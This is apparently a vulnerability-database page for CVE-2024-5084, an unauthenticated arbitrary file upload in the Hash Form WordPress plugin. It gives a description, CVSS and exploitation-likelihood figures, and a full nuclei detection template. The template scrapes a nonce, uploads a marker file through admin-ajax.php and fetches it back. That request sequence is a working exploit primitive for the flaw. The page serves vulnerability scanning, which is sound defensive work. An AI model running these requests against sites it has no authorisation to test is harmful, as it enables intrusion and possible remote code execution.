HexBrain

Browse / CVEs / CVE-2024-5084

CVE-2024-5084· HashThemes / Hash Form

Hash Form <= 1.1.0 - Arbitrary File Upload

criticalseverity
9.8CVSS score
50.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

Impact

Attackers can exploit this vulnerability to compromise system security and integrity.

Fix

Apply the latest security patches and updates to address this vulnerability.

How to confirm it

Send: GET / HTTP /1.1 ; POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename… ; GET /wp-content/uploads/hashform/temp/{{filename}}.txt
Positive when: contains_all(body_2,"success","true","url") && status_code_2 == 200 and contains(body_3,"{{md5(num)}}") && status_code_3 == 200

Run it with nuclei: nuclei -id CVE-2024-5084 -u <target>

The full check
id: CVE-2024-5084

info:
  name: Hash Form <= 1.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5084
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
    - https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5084
    epss-score: 0.50934
    epss-percentile: 0.98936
  metadata:
    verified: true
    max-request: 1
    vendor: HashThemes
    product: Hash Form
    framework: wordpress
    publicwww-query: "/wp-content/plugins/hash-form/"
  tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive,vuln

variables:
  filename: "{{rand_base(5)}}"
  num: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        GET / HTTP /1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{md5(num)}}

      - |
        GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
          - 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ajax_nounce":"([0-9a-z]+)","preview_img'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from